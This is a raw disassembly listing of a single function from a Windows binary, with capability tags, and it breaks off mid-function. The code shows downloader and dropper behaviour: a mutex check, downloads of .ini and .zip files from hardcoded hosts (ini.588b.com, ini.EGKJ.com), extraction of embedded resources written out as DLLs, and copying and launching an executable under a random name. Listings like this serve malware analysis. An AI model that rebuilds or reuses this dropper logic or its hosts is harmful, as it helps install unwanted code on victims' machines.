Function at 0x405db0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Check mutex on windows
Copy file
Create process on windows
Create process suspended
Delete file
Extract resource via kernel32 functions
Get common file path
Read .ini file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2d4
mov eax, dword [0x419184]
xor eax, esp
mov dword [esp + 0x2d0], eax
push ebx
push esi
push edi
push str.GggdfgrNo1
push 0
push 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x406f6d
test esi, esi
je 0x406f6d
push 0x416a64
push 0x41a148
call fcn.004114e3
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x28], eax
mov eax, dword [0x41a18c]
mov edx, dword [eax + 0xc]
mov ecx, 0x41a18c
call edx
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [0x41a18c]
mov edx, dword [eax + 0xc]
mov ecx, 0x41a18c
call edx
add eax, 0x10
mov dword [esp + 0x18], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xda]
push ecx
mov word [esp + 0xdc], ax
call fcn.00409ab0
add esp, 0xc
push 0x103
lea edx, [esp + 0xd4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [esp + 0xd2]
push str.:Program_Files_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 8
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x989298
idiv ecx
mov edi, edx
add edi, 0x3e8
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x17
idiv ecx
mov ebx, edx
add ebx, 0x61
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x18
idiv ecx
mov esi, edx
add esi, 0x41
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x1a
idiv ecx
add ebx, 3
push edi
push ebx
add edx, 0x41
add esi, 2
push esi
push edx
lea edx, [esp + 0xe0]
push edx
push str._s_c_c_c_x
lea edi, [esp + 0x24]
call fcn.004073b0
mov esi, dword [esp + 0x24]
add esp, 0x14
add esi, 0xfffffff0
mov eax, esi
mov dword [esp + 0x18], esp
mov edi, esp
call fcn.004071a0
add eax, 0x10
mov dword [edi], eax
call fcn.00405b70
add esp, 4
test eax, eax
jne 0x405f75
push ecx
mov eax, esi
mov dword [esp + 0x18], esp
mov edi, esp
call fcn.004071a0
add eax, 0x10
mov dword [edi], eax
call fcn.00405bf0
add esp, 4
cmp dword [esp + 0x28], 0
push str.awagle
lea edi, [esp + 0x1c]
push str.58wangwei
je 0x405f91
push str.http:__ini.588b.com__s_new__s.ini
jmp 0x405f96
push str.http:__ini.588b.com__s__s.ini
call fcn.004073b0
add esp, 0xc
mov dword [esp + 0x24], 0
cmp dword [esp + 0x24], 0x14
jl 0x405fd6
cmp dword [esp + 0x28], 0
push str.awagle
lea edi, [esp + 0x1c]
push str.58wangwei
je 0x405fc9
push str.http:__ini.EGKJ.com__s_new__s.ini
jmp 0x405fce
push str.http:__ini.EGKJ.com__s__s.ini
call fcn.004073b0
add esp, 0xc
push ecx
mov eax, esp
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], esp
push ecx
push eax
mov ebx, str.log.dat
call fcn.00406f90
mov edi, dword [esp + 0x24]
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
add esp, 4
mov dword [esp + 0x24], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x406021
cmp eax, dword [edi]
jne 0x406021
mov ebx, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40605c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
je 0x4064e3
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.004078d6
add esp, 0x10
add ebx, 0x10
mov dword [esi], ebx
call section..text
cmp eax, 0x800
jbe 0x40609a
or dword [esp + 0x20], 1
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x3c]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40609a
mov bl, 1
jmp 0x40609c
xor bl, bl
test byte [esp + 0x20], 1
je 0x4060c8
mov eax, dword [esp + 0x38]
and dword [esp + 0x20], 0xfffffffe
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4060c8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x406129
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x34]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40610c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0x28
mov dword [esp + 0x24], eax
jl 0x405fa6
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x38]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov eax, dword [esp + 0x34]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40616e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x406182
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405f75
cmp dword [esp + 0x28], 0
je 0x40619e
push str.http:__ini.588b.com_soft_newgoto.zip
mov ebx, 0x24
lea eax, [esp + 0x1c]
call fcn.00407100
jmp 0x4061b9
push str.awagle
push str.58wangwei
push str.http:__ini.588b.com_soft__s__s.zip
lea edi, [esp + 0x24]
call fcn.004073b0
add esp, 0xc
mov dword [esp + 0x24], 0
cmp dword [esp + 0x24], 0x14
jl 0x4061ff
cmp dword [esp + 0x28], 0
je 0x4061e4
push str.http:__ini.EGKJ.com_soft_newgoto.zip
mov ebx, 0x24
lea eax, [esp + 0x1c]
call fcn.00407100
jmp 0x4061ff
push str.awagle
push str.58wangwei
push str.http:__ini.EGKJ.com_soft__s__s.zip
lea edi, [esp + 0x24]
call fcn.004073b0
add esp, 0xc
push ecx
mov ecx, esp
lea edx, [esp + 0x10]
mov dword [esp + 0x20], esp
push edx
push ecx
mov ebx, str.Run.zip
call fcn.00406f90
mov edi, dword [esp + 0x24]
mov ecx, dword [edi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add edi, 0xfffffff0
add esp, 4
mov dword [esp + 0x24], esp
mov esi, esp
call edx
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x40624a
cmp eax, dword [edi]
jne 0x40624a
mov ebx, edi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x406281
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
je 0x4064e3
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov eax, dword [edi + 4]
lea eax, [eax + eax + 2]
push eax
add edi, 0x10
push edi
push eax
lea ecx, [ebx + 0x10]
push ecx
call fcn.004078d6
add esp, 0x10
add ebx, 0x10
mov dword [esi], ebx
call section..text
cmp eax, 0x19000
jbe 0x4062bf
or dword [esp + 0x20], 2
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x40]
push eax
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4062bf
mov bl, 1
jmp 0x4062c1
xor bl, bl
test byte [esp + 0x20], 2
je 0x4062ed
mov eax, dword [esp + 0x3c]
and dword [esp + 0x20], 0xfffffffd
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4062ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x40634e
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x4c]
push edx
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406331
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0x28
mov dword [esp + 0x24], eax
jl 0x4061c1
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x30]
push edx
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov eax, dword [esp + 0x2c]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406393
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x4064e8
push ecx
mov ecx, esp
lea edx, [esp + 0x10]
mov dword [esp + 0x20], esp
push edx
push ecx
mov ebx, str.Run.zip
mov dword [esp + 0x30], 0
call fcn.00406f90
add esp, 8
lea ebx, [esp + 0x28]
call fcn.004018b0
test eax, eax
je 0x406451
lea eax, [esp + 0xc]
push eax
mov ecx, ebx
call fcn.00401380
test eax, eax
jne 0x40653c
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x48]
push edx
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 8
push eax
call esi
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40642f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x44]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call esi
mov eax, dword [esp + 0x40]
jmp 0x4064be
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x50]
push edx
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 8
push eax
call esi
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40649e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call esi
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405f75
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x405f75
call fcn.00401350
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406513
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406f74
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x406f74
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.Run.zip
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40657c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 8
push eax
push str.awagle
push str.username
push str.Config
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4065cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
push str.58wangwei
push str.agname
push str.Config
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406618
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x41a128
push 0x416d38
push str.RunLock
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.log.dat
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
push 0
push 0x416d44
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp eax, 4
mov eax, dword [esp + 0x10]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40667f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x406c0f
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, str.libbexslt.dll
call fcn.00406f90
mov ebx, dword [eax]
add esp, 8
push 0x416d6c
push 0x67
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x406718
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406718
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x406718
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406718
test esi, esi
je 0x406718
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406738
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x416d74
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4067c9
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4067c9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4067c9
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4067c9
test esi, esi
je 0x4067c9
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4067e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x416d90
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x69
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40687a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40687a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40687a
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40687a
test esi, esi
je 0x40687a
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40689a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, str.libXML2.dll
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x6a
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40692b
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40692b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40692b
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40692b
test esi, esi
je 0x40692b
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40694b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x416dc4
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x6b
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4069dc
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4069dc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4069dc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4069dc
test esi, esi
je 0x4069dc
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4069fc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x416de0
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x6c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x406a8d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406a8d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x406a8d
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406a8d
test esi, esi
je 0x406a8d
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406aad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x416dfc
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x6d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x406b3e
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406b3e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x406b3e
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406b3e
test esi, esi
je 0x406b3e
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406b5e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, str.webkit.dll
call fcn.00406f90
mov edi, dword [eax]
add esp, 8
push 0x416d6c
push 0x6e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x406bef
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406bef
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x406bef
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406bef
test esi, esi
je 0x406bef
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406c0f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x989298
idiv ecx
mov edi, edx
add edi, 0x3e8
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x17
idiv ecx
mov ebx, edx
add ebx, 0x61
call esi
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x18
idiv ecx
mov esi, edx
add esi, 0x41
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00407fb2
add esp, 4
call fcn.00407fc4
cdq
mov ecx, 0x1a
idiv ecx
push edi
add ebx, 3
push ebx
add esi, 2
push esi
lea edi, [esp + 0x24]
add edx, 0x41
push edx
mov edx, dword [esp + 0x1c]
push edx
push str._s_c_c_c_x.exe
call fcn.004073b0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2c]
push ecx
mov ebx, str.goto.exe
call fcn.00406f90
mov esi, dword [esp + 0x38]
mov eax, dword [eax]
add esp, 0x20
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406cf4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
je 0x406d8e
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.goto.exe
call fcn.00406f90
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406d3c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0xc]
lea eax, [esi - 0x10]
add edi, 0xfffffff0
cmp eax, edi
je 0x406d9d
cmp dword [edi + 0xc], 0
lea ebx, [edi + 0xc]
jl 0x406d7f
mov ecx, dword [eax]
cmp ecx, dword [edi]
jne 0x406d7f
call fcn.004071a0
mov esi, eax
or edx, 0xffffffff
lock xadd dword [ebx], edx
dec edx
test edx, edx
jg 0x406d76
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
add esi, 0x10
mov dword [esp + 0xc], esi
jmp 0x406d9d
mov ebx, dword [esi - 0xc]
push esi
lea eax, [esp + 0x10]
call fcn.00407100
jmp 0x406d9d
lea eax, [esp + 0xc]
push eax
mov eax, 9
call fcn.00407210
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x68]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
